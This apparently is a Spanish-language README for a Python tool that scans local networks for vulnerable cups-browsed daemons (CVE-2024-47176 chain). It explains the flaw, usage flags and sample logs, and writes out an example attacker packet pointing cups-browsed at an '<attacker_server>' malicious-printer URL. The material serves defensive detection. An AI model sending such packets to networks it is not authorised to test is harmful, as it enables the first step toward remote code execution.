
Un escáner sencillo para identificar instancias vulnerables de cups-browsed en tu red
Ejemplo de uso: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) es un framework de código abierto para gestionar y controlar impresoras en sistemas UNIX y similares. Es una de las bibliotecas más utilizadas para la impresión y es compatible con UNIX, Linux y algunos dispositivos Apple.
Se encontraron varias vulnerabilidades críticas en CUPS que, cuando se encadenan, pueden conducir a la ejecución remota de código. Los CVE en cuestión son CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Estas vulnerabilidades permiten a un atacante remoto añadir o reconfigurar impresoras de red de tal manera que ejecuten código arbitrario cuando los usuarios intenten imprimir desde ellas.
La primera vulnerabilidad de la cadena, CVE-2024-47176, es un fallo en el demonio cups-browsed.
La vulnerabilidad surge del hecho de que cups-browsed vincula su puerto de control (puerto UDP 631) a INADDR_ANY, exponiéndolo al mundo. Dado que las solicitudes no están autenticadas, cualquiera que pueda alcanzar el puerto de control puede indicar a cups-browsed que realice el descubrimiento de impresoras.
En los casos en que el puerto no sea accesible desde Internet (debido a cortafuegos o NAT), puede seguir siendo accesible a través de la red local, lo que permite la escalada de privilegios y el movimiento lateral. Por esta razón, he creado este escáner diseñado para analizar tu red local en busca de instancias vulnerables de cups-browsed.
Normalmente, un atacante comenzaría el proceso de explotación enviando una solicitud especialmente elaborada a cups-browsed en el puerto UDP 631, lo que haría que se conectara a una URL maliciosa bajo su control.
Por ejemplo, un paquete UDP que contenga lo siguiente: 0 3 http://<attacker_server>/printers/malicious_printer haría que cups-browsed emitiera una solicitud HTTP a http://<attacker_server>/printers/malicious_printer.
Si la URL se presentara como una impresora maliciosa, podría encadenar el resto de los CVE para lograr la ejecución remota de código.
Usando este mecanismo, podemos hacer que una instancia vulnerable de cups-browsed emita una solicitud HTTP (callback) a nuestro propio servidor, identificándose como vulnerable.
El proceso de escaneo es el siguiente:
/printers/, que sean provocadas por instancias vulnerables de cups-browsed.Asumiendo que nuestro servidor HTTP está alojado en 10.0.0.1:1337, nuestro paquete UDP debería verse así: 0 3 http://10.0.0.1:1337/printers/test1234
Este escáner de Python maneja todo por ti (tanto el servidor HTTP como el escaneo).
El script lanza un servidor HTTP temporal a través de http.server en una IP y puerto especificados, luego construye y envía paquetes UDP a cada IP del rango especificado. El servidor HTTP capturará automáticamente los callbacks de instancias vulnerables de cups-browsed y los registrará en disco.
Los registros legibles se escriben en logs/cups.log y las solicitudes HTTP en bruto se escriben en logs/requests.log
--target
los CIDR(s) a escanear. Puede ser un solo CIDR o varios CIDR separados por comas.
--callback la IP y el puerto local en los que alojar nuestro servidor HTTP (debe ser alcanzable dentro del rango de objetivos)
--scan-unsafe por defecto solo escaneamos direcciones de host asignables (excluimos la dirección de red y la dirección de broadcast)
en algunos casos puede ser conveniente escanear estas direcciones, por lo que este comportamiento se puede anular con la bandera --scan-unsafe.
Escaneando el CIDR 10.0.0.0/24 desde la dirección IP 10.0.0.1, alojando el servidor de callback en 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Escaneando múltiples CIDRs desde la dirección IP 10.0.0.1, alojando el servidor de callback en 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
nota: la IP del servidor de callback debe pertenecer al host que realiza el escaneo, y el puerto debe ser alcanzable desde cada IP de los objetivos.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
para más información ver: Informe oficial de la vulnerabilidad de CUPS